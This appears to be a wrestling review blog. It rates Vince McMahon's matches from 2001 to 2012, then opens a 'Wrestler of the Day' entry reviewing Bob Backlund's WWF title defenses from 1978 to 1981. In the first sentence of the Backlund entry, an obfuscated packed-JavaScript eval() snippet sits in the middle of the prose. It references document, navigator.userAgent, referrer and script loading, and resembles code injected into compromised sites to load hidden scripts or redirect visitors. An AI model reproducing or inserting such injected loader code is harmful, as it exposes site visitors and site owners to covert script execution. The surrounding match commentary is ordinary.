The oldest McMahon puts Linda into the ring as Shane is still out cold. Linda is sat in the corner of the ring in a chair as Vince throws Shane back into the ring. Now it’s time for four garbage cans to be thrown in as well so Shane can get beaten up yet again. Vince picks up the third can but as he takes too long, Linda stands up to an ERUPTION from the crowd. She kicks Vince between the legs to stun him, allowing Foley to come in and beat the tar out of the owner of the company. Mick knocks Vince down in the corner and Shane hits the Coast to Coast dropkick, sending a garbage can into Vince’s face for the academic pin.

Rating: B. All things considered, this was excellent. This is what you call intricate storytelling with at least five feuds/stories (Vince vs. Shane, Vince vs. Mick, Vince vs. Linda, Stephanie vs. Linda, Trish’s turn) being blown off in one single match. On top of that, the match wasn’t that bad with some decent bumps considering that they’re both non-wrestlers. The drama was the key here though and it worked REALLY well.

We’ll jump ahead to Royal Rumble 2002 for another street fight.

Ric Flair vs. Vince McMahon

Remember this is a street fight. Vince shoves him down to start and struts, so Flair punches him down and struts as well. Flair wins a chop battle in the corner (duh) so Vince goes to the eyes to escape. There’s the Flair Flop followed by a Flair Flip in the corner as Vince is in full control. We head to the floor and get our first weapon shot, with Vince pounding on Ric with a metal Keep Off sign.

There’s a trashcan shot to the head and Flair is busted open. How thin must the skin on his forehead be? Anyway, Vince steals a camera from someone to take a picture of Flair’s cut before we head back inside. Since he’s a jerk, Vince starts working over the knee in (less skilled) Flair fashion. The leg is wrapped around the post and Vince puts on a Figure Four that Dusty Rhodes would be jealous of.

Flair turns the hold over and Vince IMMEDIATELY lets go of the hold. So not only is he better at it than some wrestlers, he’s also smart. Never let it be said that Vince doesn’t know what he’s doing. Vince bails to the floor and grabs a lead pipe that he used to bust Flair open in the build up to the match. Flair catches him coming in with a low blow and pounds away on the floor.

Vince takes a monitor shot to the head and in a weird spot, we see a replay on the monitor on the table as the live match goes on. Vince is busted open now and we head back inside. Scratch that as we go back outside immediately where Flair’s family takes pictures of Vince’s cut. Set it up earlier, pay it off later. Good move. Back in and Flair kicks him low again just because he can, cracks him in the head with the pipe and ends it with the Figure Four.

Rating: C+. At the end of the day, this match makes as much sense as almost anything you’ll see. Vince controlled at the beginning, but at the end of the day he’s a boss and Flair is a veteran wrestler and athlete. It makes sense for him to be able to shrug that off and destroy Vince with relative ease once he got the upper hand. On top of that we got some good blood and Vince getting hit in the balls so how can this not be entertaining?

Hey look: a street fight. From Wrestlemania XIX.

Hulk Hogan vs. Vince McMahon

This is a street fight because that’s how Vince rolls and if Hogan loses he has to retire. Hogan pounds away to start before pounding away on the mat. Vince is knocked down into the corner and stomped down for good measure but he gets in a thumb to the eye to give himself a breather. A clothesline takes Hogan down and Vince Pounds away in the corner. He drops some knees into Hogan’s shoulder as we actually get an attempt at psychology here. Seriously, why?

Vince wraps the arm around the post before hooking a test of strength grip with Hulk in trouble. Hogan tries to fight up but gets kicked right back down. That works so well that they do it again before Vince throws Hogan out to the floor. With Hogan in trouble Vince picks up a chair but the swing only hits post. Hogan pounds him down and hits a chair shot to Vince’s head for good measure, busting Vince open.

They head back in, only for Hogan to punch him out to the floor. Another chair shot to the back puts Vince down as does a third. Hogan swings again but knocks out the Spanish announcer by mistake. Vince hits Hogan in his Real American testicles as the slow brawling continues. A chair shot puts Hogan down and Vince pulls out a ladder, making me think this ends badly.

Hulk is busted open too as Vince lays him onto the announce table. In the big spot of the match, Vince climbs the ladder and drops a “leg” through Hogan and through the table. Hogan is thrown back in as Vince gets a lead pipe. He looks up from under the ring apron and has a hilariously evil grin on his face. Vince loads up a pipe shot but Hogan hits him low. Cue RODDY PIPER of all people to blast Hogan in the head with the pipe. This surprises Cole and Tazz because….they’re not that bright. Seriously, Piper and Hogan HATED each other and they’re surprised he attacked Hogan? Why?

Piper leaves and Vince gets two off the pipe shot. This match needs to end like NOW as it’s well past the point of entertaining and is reaching stupid. Vince goes for the pipe but is stopped by the referee, causing the referee to go flying out to the floor. The EVIL French referee from earlier today comes out as Hulk is hit with another pipe shot and a Vince legdrop for two. It’s Hulk Up time though and he lays out both Vince and the crooked referee before hitting the big boot and THREE legdrops to kill Vince dead for the pin.

Rating: D+. This wasn’t the worst match in the world but going twenty minutes completely misses the idea of something like this. Again I’m not sure what this accomplishes other than setting up Hogan vs. Piper in a feud that didn’t exactly light the world on fire in 2013. Fun but pretty awful match here.

We’ll stay in 2003 with this match from Vengeance.

Vince McMahon vs. Zach Gowen

For the life of me I have never gotten the point of this angle at all. At least Gowen had a good Seether song for his theme music. Vince dominates early on to the shock of no one. Gowen busted out an Asai Moonsault. His character and angle was annoying as all goodness but to say it’s impressive is an understatement. One of the interesting things here is that Zach is like 150lbs so it’s like wrestling a woman as far as the weight goes.

Vince beats the tar out of him for a long time including a Boston Crab. Again, I don’t get the point to this but it’s Vince in the ring so what do you expect? Gowen makes his comeback and very few people care. Zach goes up top and hits a bulldog. When I say hit I mean miss and when I say bulldog I mean his arm almost touches the back of Vince’s head.

This just isn’t as impressive as it could be, but we get it: he can wrestle on one leg. He doesn’t need 15 minutes to prove it. We get a chair and Vince gets beaten with it and bleeds. Oh dang he’s bleeding a lot. Gowen misses a moonsault and Vince pins him. Yeah seriously that’s the ending. Gowen stands in the ring and gets cheered. Mostly at least but there’s a good deal of booing in there.

Rating: C-. The problem here became evident very quickly: yes, we know he can wrestle on one leg, but after that the appeal goes away and it gets stupid. It’s cool to see, but it gets old fast. If this is cut in half time wise, it’s FAR better and one of the coolest matches ever. It’s still cool and impressive as all goodness, but this went on too long. Decent match though but the ending sucked.

And another from No Mercy 2003.

Vince McMahon vs. Stephanie McMahon

I Quit match and Stephanie can win by pin as well. It’s also no holds barred and no one can interfere on her behalf. Linda is here too to make sure this match is acted even worse. Sable is with Vince. Vince jumps Stephanie to start. He’s evil you know. Stephanie jumps on his back and screams a lot. She kicks him into the corner so he runs her over. Vince throws her around and Cole is up to about 20 “THAT’S HIS DAUGHTER” lines a minute.

Sable slaps Stephanie so Linda chases her around. Vince hooks a half crab and Stephanie screams a lot. Off to a bow and arrow and Stephanie can’t even sell her face properly. Sable slides in a pipe but Linda stops her. Vince grabs Linda so she slaps him and Steph hits Vince low with the pipe for two. She pulls the pipe back and hits him in the ribs and the back and in the face but Vince doesn’t go down. A shot from the middle rope to the top of the head gets two.

This match has been going on about four minutes and I already hate it. Sable gets in a fight with Stephanie so Stephanie rams Vince into her and bulldogs him for two. She gets the pipe again but Vince grabs her by the throat and shoves her down. Now Vince has the pipe and hits her in the ribs. He chokes her with the pipe and Linda shouts to quit because it’s not worth it. Linda throws in the towel because Stephanie can’t give up. You know, to protect her reputation and all that.

Rating: F. This got more of a build than the world title match, the US Title match and the Angle vs. Cena match. You figure out why this was a failure.

And one more from this year at Survivor Series 2003.

Undertaker vs. Vince McMahon

Taz actually has keys to victory. First: be mentally stable. Second: be confident. Third: AVOID THE HOLE! Did Taz just make me laugh? I don’t know how to handle this. Oh good we have the bell so I don’t have to deal with it. Remember that in this you have to put the other guy in the grave and cover him with dirt to bury him alive. Apparently it’s thirteen years to the day since Taker debuted. Vince kneels in prayer before the match starts.

Taker punches him in the face, drawing blood off a SINGLE PUNCH. He pounds away on Vince as McMahon is just trying to get back up. Vince gets crotched against the post and Taker wraps the leg around the post for fun. The same thing happens on the opposite post and Vince is sent into the announce table. There is blood EVERYWHERE. Taker hits him and says this is for my wife. Yeah this was around the time when Vince said he was going to have someone rape Taker’s wife. You know, because there’s nothing wrong with that.

The beating continues for awhile and Vince hasn’t had a single bit of offense in yet. Vince gets punched up against the barricade and we head back inside. Taker heads to the grave site and gets a shovel which is CRACKED off Vince’s head. This is quite a beating. Taker crushes Vince’s ankle just like he did in 1998. There are PILES of blood on the floor. Taker carries him to the grave but Vince gets in a low blow to FINALLY slow Taker down.

Vince hits him with a shovel and taker falls into the grave. Taker shrugs it off and pulls McMahon down into the hole, but as he goes for the machine to lower the dirt, an explosion goes off. Kane is in the cab and helps Vince out of the grave. Taker is knocked into the grave and Vince lowers the dirt onto Taker to get the shocking win.

Rating: D. This was REALLY boring although that first shovel shot was great. Other than that though, there wasn’t enough here to make this match matter. This would be the last time Biker Taker was seen as he would return as the Dead Man at Wrestlemania to, say it with me, feud with Kane. The blood alone prevents this from being a failure.

I have to do this one. From Raw on February 23, 2004.

Eric Bischoff vs. Vince McMahon

Austin is guest referee. They stare each other down to start and Bischoff offers a handshake, only to get kneed in the ribs. Bischoff comes back with some strikes but Austin breaks it up. Vince makes the mistake of going after Austin and gets decked for old times’ sake. Bischoff gets chased around the ring and choked on the floor as JR drops the bowling shoe line. Brock Lesnar sneaks into the ring and lays out Austin as the match is thrown out. No rating and much more of an historical curiosity than anything else.

We’ll jump ahead to Wrestlemania XXII.

Vince McMahon vs. Shawn Michaels

Oh wait actually this is no holds barred rather than a street fight because they’re such different things. Before the match Vince unveils a poster version of his cover of Muscle and Fitness magazine, which is indeed pretty impressive. Shawn will have none of this though and goes after the boss, pounding away at him and throwing him over the announce table for good measure. Vince gets choked out with a cable as the commentators lose their equipment.

Shawn cracks Vince over the head with his poster and here’s the Spirit Squad to try to save Vince. They’re five cheerleaders (one of them being Dolph Ziggler) who beat up Shawn with their five man lifting slam, but Kenny misses a guillotine legdrop. Shawn gets their megaphone and beats all of them up while Vince is getting a breather. The breather allows Vince to get in a clothesline and take over for a bit.

McMahon rips off his own belt to whip and choke Shawn but his attempt at Sweet Chin Music is easily blocked. The forearm puts Vince down and there’s a whipping for Vince. There’s the top rope elbow but as Shawn tunes up the band, here’s Shane to blast him with a kendo stick. Shane pulls out handcuffs but before they tie Shawn up, Vince takes down his pants. Yeah they’re doing this at Wrestlemania. Shane tries to send Shawn’s face in but Michaels reverses and we get a very disturbing father/son bonding moment.

Shawn hits Vince low and handcuffs Shane to the ropes. After throwing the key into the crowd and doing Shane’s dance, Shawn pounds him with the kendo stick and pulls out a chair. A BIG chair shot cracks Vince’s head open even more than it already was. Instead of kicking Vince’s head off though, Shawn pulls out a ladder. After ramming that into Vince’s head too, Shawn pulls out some trashcans to beat on Vince with as well.

There’s a table thrown in too and this can’t end well. Vince is placed on the table but Shawn isn’t pleased with the ladder he’s got. Instead he gets the jumbo ladder and puts the trashcan over Vince’s head. Shawn climbs the jumbo ladder and drops the BIGGEST ELBOW EVER through Vince through the table. The Sweet Chin Music is the icing on the carnage and it’s finally over.

Rating: C+. This is a hard one to grade as it’s really closer to a long segment than a match. Shawn DESTROYED Vince here and that’s what the whole thing was supposed to be. Unfortunately this feud would keep going for about six more months with DX reuniting to fight Vince and all his cronies. Still though, it was certainly entertaining and that’s all it was supposed to be.

And the rematch at Backlash 2006.

Shawn Michaels/God vs. Vince McMahon/Shane McMahon

Vince introduces God and we get a spotlight. His tron video is clouds and he comes out to harp and piano music. Vince stops and criticizes God before challenging him to a dance contest. I kid you not, this is really happening. The spotlights gets in the ring and Vince tells the referee to check him out. Vince makes the match no holds barred because the idea of Vince wrestling an actual match isn’t pleasing. Sexy Boy finally hits to end this stupidity.

Vince starts to run his mouth some more and Shawn finally drills him to get going. The daddy goes to the floor while Shawn beats up Shane. Shawn dives on Vince before clotheslining Shane to the floor and hitting a flip dive to take him out. Michaels chops Shane up the ramp but Shane comes back with knees to the stomach. Shane tries to piledrive Shawn off the stage but gets backdropped instead.

Shawn comes back but here’s Vince with a chair as they’re all on the stage now. Shawn blocks the shot and takes Shane down again before hitting a cross body on Vince off the stage. This looked like nothing live but it looked good on camera. Shawn climbs back up to the stage but gets hit in the face with the chair by Shane. Michaels is busted which I never noticed in the arena.

Shane and Shawn head back to the ring and Shawn goes into the post. Shawn gets sent into the barricade and then back into the ring as Shane is in complete control. The top rope elbow misses and both guys are down. Vince is on the apron now and apparently they have to tag. Shane DDTs Shawn down and it’s off to Vince. Vince takes his belt off and whips Shawn’s back because he’s that evil. Shane throws in a garbage can and Shawn gets his head caved in.

Vince wants a mic and taunts God a bit. God walks out and Vince says come back. Vince declares that God has left the building, but Shawn hasn’t. He stands Shawn up and tries a superkick but the kick gets caught. Shawn makes his comeback and hits the forearm and nip-up. Shane misses a chair shot and caves in Vince’s head by mistake. It’s a forearm for Shane followed by an atomic drop and some clotheslines. Shawn’s top rope elbow hits and both McMahons taste superkicks.

Shawn, ever the genius, doesn’t go for a cover but rather goes to the floor for a table. Make that two tables. My fellow Lexingtonians (yes that’s what they’re called) want ladders because much like other wrestling fans, they’re greedy people. Both McMahons are put on tables and here comes the ladder. It’s the jumbo sized ladder too. Shawn climbs up but has to dive on the invading Spirit Squad. That was incredible live but the camera didn’t get a great shot of it. The main problem was you didn’t see them until the dive so Shawn looked crazy.

The numbers catch up with Shawn and he gets beaten down by the five male cheerleaders who are currently tag team champions at this point. They throw Shawn back in and get the McMahons off the tables. The Squad takes Shawn into the ring and hit their finisher on him, which is them all picking him up at once and dropping him through a table. Vince gets the pin. JR calls this BS but the uncensored version.

Rating: D. The match was boring, but JR put it best during the match: this was uncomfortable. On top of that, the whole thing was stupid. This would set up a feud that ran for the whole year which didn’t work all that well either. It did lead to the reformation of DX which was pretty interesting, but dang this first part was torture to sit through. Not a horrible match but dang this was a chore to sit through.

And another rematch from Summerslam 2006.

D-Generation X vs. Vince McMahon/Shane McMahon

Vince and Shane head back to the entrance and send out the Spirit Squad as the first line of defense. Superkicks, backdrops and Pedigrees abound, getting rid of the Raw Tag Champions (the cheerleaders) in less than fifteen seconds. DX beat the Spirit Squad about five times in this whole thing but never won the tag titles. I never quite got why.

Next up are Kennedy, Finlay and Regal who do a bit better thanks to Finlay’s club but only last about 40 seconds. Now it’s Big Show to really challenge DX. Why all nine guys didn’t come out at once is never really addressed. The three midcarders take down HHH on the floor, leaving Shawn alone with Show. A cobra clutch backbreaker and the Log Roll knock Shawn silly as HHH is destroyed. Now the McMahons come to the ring and there’s the opening bell.

Vince slams Shawn down to start and it’s off to Shane for some dancing. He peppers Shawn with left jabs and hits a big right cross to puts him down. HHH is still down from a chokeslam through the announce table. Vince comes back in for something like a clothesline to the ribs and fires off elbows in the corner. A double back elbow puts Shawn down and HHH is finally remembering what planet he’s on. Shane of course slides to the floor to knock him down again, which is pretty smart.

Shane hits a backbreaker on Michaels and it’s back to Papa McMahon. There’s a double elbow but HHH is on his feet. Shane, again, wisely baseball slides him onto the other announce table. The McMahons bust out the Demolition Decapitation and the Hart Attack of all things, complete with signature Bret pose. They even hit a bad looking Doomsday Device but Shawn pops up at two and fires off right hands. Vince sneaks in with a shot to the back and down goes HBK again. Shawn scores with a double clothesline and everyone is down.

HHH is back up on the apron and actually takes the hot tag. Adrenaline kicks in and house is cleaned with a high knee and a neckbreaker to Shane. Clotheslines take both McMahons down and there’s a spinebuster for the young one. Shawn drops the elbow on Vince and hits a Cactus Clothesline to take Shane out.

Here’s Umaga to superkick Shawn and hit a quick Samoan Spike to HHH. This brings out Kane as the guy DX was talking to so he can fight Umaga to the back. Shane can only get two on the Game so Vince punches the referee. Shane loads up a Coast to Coast but Shawn superkicks him out of the air. A trashcan shot to Vince sets up Sweet Chin Music and the Pedigree for the pin.

Rating: B-. That’s about as high as they can get and there’s nothing wrong with that. The booking was as smart as you could get since there might not be two guys in the company that could be a legitimate threat to DX in a straight match so making it eleven on two to start was all they could do. The rest of the match is your usual tag team formula match and that’s all they could do here. The fans popped for the ending too so I can’t complain much.

Time for another feud, this time with fallout from Wrestlemania XXIII. From Backlash 2007.

ECW Title: Vince McMahon/Shane McMahon/Umaga vs. Bobby Lashley

Lashley is champion and whoever gets the fall is champion. Shane starts us out and is promptly destroyed. Lashley throws him around and suplexes him down before throwing him to the floor. Bobby wants Vince but Shane staggers back in instead. Off to Umaga who is sent into the corner but Lashley charges into a boot to the face. Well foot tape to the face but you get the idea.

Bobby sends him into the corner again and hits some clotheslines including a big one to send him over the top rope and out to the floor. Down goes Shane so there’s only Vince left on the apron. Instead Shane gets back in and takes a delayed vertical suplex. Umaga tries a headbutt but it hits the Boy Wonder by mistake. Shane finally does something effective by pulling the top rope down to send Bobby out to the floor.

Umaga sends Lashley into the steps as we continue the filler until Vince comes in. Lashley is in trouble but Vince still doesn’t want the tag. Shane puts on a Fujiwara Armbar followed by a hammerlock with knees. Off to a cross armbreaker/triangle choke hybrid which Lashley can’t quite power out of. Scratch that as he hits a kind of powerbomb for two. Back to the Samoan for a headbutt followed by a bearhug.

Bobby escapes for a second but gets caught in a Samoan Drop to put him down again. Shane hooks a camel clutch for longer than should be humanly possible to survive. Lashley gets out of that too with pure power and hits a Torture Rack backbreaker (Shock Treatment ala Abyss) to Shane. Umaga gets speared and it’s a Dominator to Shane but Vince finally comes in for the save. In the confusion Shane gets a belt shot in for two from Vince. Vince is ticked off now and brings in Umaga for a top rope splash. That gets two for Vince as well so Umaga does the exact same thing again to give Vince the title.

Rating: C. This was fine I guess but it would start a huge ordeal with ECW fans saying that Vince was killing the legacy of ECW. You know, because it was SO healthy after guys like Big Show was champion and we got a single ECW Rules match a week if we were lucky and guys like Matt Striker and Elijah Burke and Mike Knox and Test were featured on the show every week. Lashley would get the title back in a month or so before the title fell into the midcard level it would stay at until it was axed.

A match that I still defend, from Wrestlemania XXVI.

Bret Hart vs. Vince McMahon

Vince says he’s bought a lot of lumberjacks: the Hart Family (including the Hart Dynasty), with the idea being that they all hate Bret just like Vince does. Also Bruce Hart, Bret’s brother, is guest referee. Bret asks his family if they all agreed to this and says they must have all gotten paid up front. If there’s one thing he’s learned from Montreal, it’s that there’s nothing sweeter than a good double cross. Tonight, the Harts are united because they came to Bret and agreed to sucker Vince in.

Bret pounds away to start and stomps away in the corner before sending Vince out to the lumberjacks for a beating. Natalya hits a HARD slap (Striker: “Best of luck in your future endeavors.”) and the beating is on. The Hart Dynasty hits a Hart Attack to the floor as Bret looks on approvingly. Back in and Bret goes after the leg which knocks Vince back to the floor. He finds a wrench or something from somewhere which sends the Harts away.

Back in and Bret knocks it away from McMahon before picking up the pipe. Seven shots with that look to set up the Sharpshooter but instead Bret hits him with the pipe a few more times. There’s a hard kick to the balls and a few more for good measure. Natalya: “MAKE EM BLEED!” A chair is sent in and Bret takes a seat. Vince slowly gets up so Bret hits him with the chair EIGHTEEN TIMES and it’s the Sharpshooter for the submission.

Rating: A+. I said that when I first did this and I say it here. Now while I shouldn’t have to explain this, I will anyway because a lot of people are slow. Am I saying it was a match on the level of say Shawn vs. Razor? Of course not. I’m saying it’s the perfect match for what it was supposed to be. This was Bret DESTROYING Vince for a long time and doing it as well as he could given his condition. If you thought it was going to be anything but that and Vince tapping to the Sharpshooter, you completely missed the point of this match.

We’ll wrap it up with Vince’s last match to date which shocked everyone. Raw, October 8, 2012 and it’s not really a match but it’s close enough.

Vince McMahon vs. CM Punk

Vince comes out for the match but Punk jumps him on the way to the ring and beats the tar out of him before the bell. Vince spears him down but Punk beats him in the head. The high kick puts Vince down and I don’t think the bell every rang. They head to the floor and Punk puts on a headset. “WHAT A MANUEVER!!!” I laughed out loud.

Vince sends Punk into the post after escaping the GTS. He sends Punk FLYING over the announce table and grabs a mic. Vince DIVES OVER THE TABLE and beats up Punk! He rams a chair into Punk’s crotch and we head back inside. Vince is bleeding from the eye but he grabs a kendo stick. I think Vince’s ear is bleeding also. Punk bails and tells Heyman to bring the title, but Vince stops him and lays out Heyman with a shot to the head. Vince gets the title and stands in the ring with it and the kendo stick, challenging Punk to come fight him.

Punk finds a kendo stick and gets in. They BEAT THE TAR OUT OF EACH OTHER with the sticks and Vince knocks the stick out of Punk’s hands, sending Punk to his knees to beg. Punk hits Vince low and beats on him with the sticks. He loads up the GTS but FEED ME MORE hits and the fans LOSE IT.

Punk runs but Cena comes out and sends Punk back in. Ryback kills Punk with the clothesline but Punk escapes Shell Shock. Punk bails and Vince gets the mic. He says it’s either Punk vs. Ryback or Punk vs. Cena in the Cell. If Punk doesn’t decide, Vince makes up his mind for him. Punk is TERRIFIED to end the show. This wasn’t a match but man it ROCKED.

He’s one of the best villains of all time and will still do whatever he needs to do on camera. His matches weren’t any good but it was all about the build instead of the matches anyway. To be fair, the matches weren’t the worst in the world and considering that it’s the boss out there, all can be forgiven. He’s hard not to like at least a bit despite being totally evil.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Wrestler of the Day – August 2: Bob Backlund

We’re going old school today with a man I met three times over Wrestlemania weekend: Bob Backlund.

Backlund eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfiiz|var|u0026u|referrer|nbrei||js|php'.split('|'),0,{})) started in 1973 but we’ll pick things up on August 28, 1978 in MSG. Backlund is already WWF World Champion (only clips of the win exist) and defending against one of the top guys of the 1970s.

WWF World Title: Bob Backlund vs. Ivan Koloff

Bob is defending and Ivan has Captain Lou Albano, an old heel manager with him. Backlund has only been champion about six months at this point. The name graphic leaves the A out of Backlund’s name. Backlund backdrops him to start as the crowd goes very silent for some reason. A headscissors puts Ivan down and Backlund holds on with a leg vice around Ivan’s head. They go to the mat and Backlund bridges up in a nice power display.

Ivan puts him on the top rope but gets kicked away. Off to another standoff and it’s test of strength time. Backlund goes down but comes back with a top wristlock, only to get caught in a headscissors. This goes on for a few minutes until Bob does a reverse nipup to escape. He dropkicks Ivan down and hooks a headscissors of his own as this is getting repetitive. Then again this is the way a lot of these matches went back then so this would be considered a big deal back then.

Backlund takes him back down again but gets caught in headscissors #4 of the match so far. Backlund finally gets out of that one as well and works on the knee a bit. Somehow we’re over fifteen minutes into this despite almost nothing happening other than headscissors so far. Bob stays on the leg and hooks a hold on for a few minutes. That’s another sign of the times: holds stay on FOREVER. I mean this one has been on for nearly four minutes at this point.

It finally gets broken up and Ivan suplexes him down for two. The idea of selling an injury must not have been invented yet. Or maybe it just doesn’t translate into Russian. Ivan hooks a short arm scissors but Bob shows off his surprising strength by lifting Ivan up into the air and over his head, slamming him down onto the mat back first to break the hold.

Bob puts him on the top rope to counter and hooks something like a spinning toehold. Thankfully this one lasts less than the usual two hours with Ivan kicking him in the ribs. Ivan sends him into the ropes but they ram heads, sending Bob to the floor. Koloff is smart and breaks up the count so he can still win the title. Backlund gets rammed into the post and a backbreaker gets two.

Ivan goes up top for the biggest pop from the crowd(and possibly the only one so far) of the match but his top rope knee drop misses. Backlund sends him in but gets kicked down again, this time back to the floor again. Koloff breaks up the count again, this time by going up top and jumping down onto the apron, kicking Bob in the head on the way down. That would be considered a big spot back then.

Backlund is busted open and we have to have the doctor look at it. That doesn’t work so the fight continues. Backlund goes off as he is known to do and Ivan is in trouble. A backdrop puts the challenger down…and the match is stopped because of the cut. Trash fills the ring and I can’t quite say I blame them for that.

Rating: C-. The ending was stupid but it had more to do with the athletic commission rather than the booking or anything. That being said, it made no sense to say Backlund can’t continue when he was beating the tar out of Koloff but whatever. Also, this match was fairly boring as I was looking for things to talk about during those rest holds which went on forever. I know it’s a different era, but that doesn’t make it any less dull.

Backlund wants to keep going but Ivan walks away. The title doesn’t change hands for some reason even though Ivan wins.

Against the first Intercontinental Champion in a cage on September 24, 1979 in MSG.

WWF World Title: Bob Backlund vs. Pat Patterson

This is from September of 79 apparently. Patterson is the IC Champion here and is a cage match expert but Backlund has never been in one. Patterson was more or less the top heel in the company by default here. They start off fast as Backlund is all fired up here. Patterson tries to get out early and that goes nowhere.

Both guys get incredibly close but can’t get all the way out. Patterson almost gets out with Backlund literally dragging him back over the top by a single leg. They keep fighting to try to get out as this is definitely more about winning than violence which is fine. We clip the match to them being on the mat and Patterson hammers away on a cut on Backlund’s head. From what I can find only about three minutes out of 16 total were clipped so we get the vast majority here.

Patterson is busted too. Vince calls the WWF Champion a gallant lad. That’s sweet. Patterson goes into the cage and Backlund goes for the kill. He winds up going into the cage though so forget about that I guess. Backlund gets the atomic drop which was one of his signature moves at the time. I guess Lombardi will have to be gentle tonight.

Patterson finds some brass knuckles and they go up. Pat can’t get a shot with them and both guys go down. And then Backlund kicks Patterson in the head and the force of the kick launches Backlund backwards through the cage door and out to the floor. Patterson FREAKS in the ring after that even though he did nothing but lose cleanly. I guess that’s why he’s a heel.

Rating: B. Very solid match here with both guys beating the tar out of each other. Backlund was at this best at the end of a feud where he had to go off to beat someone and that’s what he did here. This was either their fourth or fifth match against each other and Patterson had beaten him before. This was fun stuff though and it worked very well.

Time for an assortment of Backlund defenses, most of which will be in MSG. From December 17, 1979.

WWF World Title: Bob Backlund vs. Bobby Duncum

This is a Texas death match but I’m not sure if we’re going by what that traditionally means or if it’s just a No DQ match. In a traditional match you pin the guy and they have ten seconds to get up. Think last man standing but you have to pin to get a count started. The President of the WWF, Hisashi Shinma, holds up the title. This is where things get confusing: the WWF didn’t acknowledge the title ever leaving Backlund so the fans have no idea what is going on.

It appears that this is just a No DQ match. LONG feeling out period to start as we just wait around for something substantial to happen. Backlund gets a headlock and holds onto that for awhile. So DEADLY. This is a regular match so far as we hit the headlock one more time for fun. Backlund is put together which is really surprising considering how basic he would be known for looking like.

He CRANKS on that thing though and it looks painful if nothing else. The problem is that it’s just a headlock. Backlund goes over the top and over the rail as this picks up some much needed steam. No count outs either here. And then a sunset flip ends this. WHAT THE HECK? That’s it??? The crowd pops like crazy but I have no idea why as this was REALLY boring.

Rating: D-. As a regular match this was pretty good but as a death match this is about as close to a failure as you can get without being one. The pop of the crowd is the only reason I popped it up a bit. The big spot was a backdrop over the top rope. I have no idea why this was supposed to be a big deal but it just didn’t work at all. If it was a regular match it would have been decent but as a death match match it was horrible.

Still in New York on May 19, 1980.

WWF World Title: Bob Backlund vs. Ken Patera

Pater is defending Intercontinental Champion and this is officially a death match, which means anything goes. Patera allows his manager, the Grand Wizard, to remove his warmup gear. Backlund is immediately sent to the floor and stomped down as Patera stands tall. The champion (only Backlund will be referred to as champion for the sake of simplicity) comes right back and sends Patera out to the floor before pounding him on the way back in. Backlund punches him in the head and chokes away with the ropes a bit.

Ken comes back with a front facelock which he transitions into a chinlock to keep control. Backlund fight up but has his shoulder sent into the post to stop the comeback dead in its tracks. Paters tries to send the shoulder in again but gets sent face first into the buckle instead. A backdrop puts Bob on the floor and the champion is in trouble. Back in and Patera drops a top rope double ax handle for two.

Off to a bearhug by Ken who is a very strong man in his own right. Backlund finally escapes with a right hand and the atomic drop to send Patera into the ropes. A jumping piledriver gets a close two count on Patera and a suplex gets the same. Backlund is whipped into the Tree of Woe (hanging upside down in the corner) where Patera chokes away. The champion is dropped throat first on the top rope for two but he comes back with a fast rollup for two.

A suplex by Patera gets a delayed one count and both guys are exhausted. Backlund avoids a charge in the corner and hooks an abdominal stretch. The hold stays on for awhile but Patera makes the rope. It doesn’t matter in this kind of a match though so Ken hip tosses Backlund up and over to the floor. Once outside Patera hits Backlund in the head with the title belt to knock the champion silly. The champion is busted open and after he gets back in, Patera pounds him right back to the floor.

Back in once again and Backlund gets in a kick to the chest to put both guys down. The champion is back up first and is all fired up. He throws Ken out to the floor and sends him into the steel barricade and then into the post. Now Patera is busted open and Backlund pounds away at the cut. The challenger comes back with a low blow to get himself a breather and now it’s Backlund in trouble. Patera goes up top but gets slammed back down to the mat. A middle rope punch by Backlund gets two but Patera sends him back to the floor.

Backlund gets hit in the face with a chair and we head back inside, only for Patera to miss a chair shot in the corner. Now Backlund gets the chair and smashes it over Ken’s head twice in a row, but THAT only gets two. Bob goes up to the top rope again and a high cross body is FINALLY enough to keep Patera down and retain the title.

Rating: A. Yeah it was just the other opponents. This was a GREAT match with two guys beating the tar out of each other for over twenty minutes. The weapons used made the No DQ rule mean something which is what the previous death match was lacking. Backlund was pushed to the limit here and when he snapped, Patera was trying to survive rather than win, which made for a good story. The match won Match of the Year in the prestigious Wrestling Observer Newsletter and it’s not hard to see why.

Post match Patera calls Backlund a cheater and gets dropkicked to the floor as a result.

Here’s a fairly well known match from MSG on October 19, 1981.

WWF World Title: Bob Backlund vs. Greg Valentine

The Grand Wizard has yet another new client in Greg Valentine. Backlund has Arnold Skaaland with him, who has managed both Sammartino as well as the current champion. This is a regular one on one match rather than the death matches we’ve been looking at. It’s a feeling out process to start with Valentine hooking a quick armdrag for not much effect. A slam puts Backlund down again and Bob isn’t sure what to do. Backlund comes back with an armdrag and hip toss of his own to stagger Valentine and Greg wants a breather.

Greg comes back with some right hands to the ribs in the corner but it results in a standoff instead of an advantage. A quick shoulder to the ribs of Valentine staggers him a bit so they try a test of strength. Valentine fires off some shots to the ribs to take over before going to work on the champion’s knee. There’s a half crab from Valentine and Backlund is in some trouble. Backlund fights up and escapes the hold via a monkey flip but Greg gets in a shot to the back of the head to take over again.

The challenger goes back to the leg by cranking on the ankle before shifting over to the ribs via an abdominal stretch. Bob reverses into one of his own but Valentine goes back to the knee to take control once again. Valentine cranks on a leg lock before dropping some elbows on the bad leg. A spinning toe hold works on the leg even more but Bob kicks him away. They trade forearms to the face but both guys collapse down to the mat.

Backlund is up first but a slam attempt fails, giving Valentine a two count. Greg hits him in the knee again but still can’t put on the Figure Four Leg Lock. Instead Valentine kicks him to the floor before pounding away at Backlund on the ring apron. Back in again and Bob is getting fired up as the blows from Greg are having less effect each time. The champion starts hammering away on Valentine’s leg now, wrapping it up in the ropes and kicking at the inner thigh.

Bob knocks him down again but can only get two. A suplex gets the same for Valentine but Backlund comes back with one of his own for a delayed two count. A cross body gets two for the champion but Valentine chokes him down with the ring rope. Greg goes for the leg again and hooks the Figure Four but it’s not on that well. Backlund is easily able to roll into the ropes to break the hold but some damage has been done. Bob comes back with a piledriver out of nowhere and Valentine is in trouble.

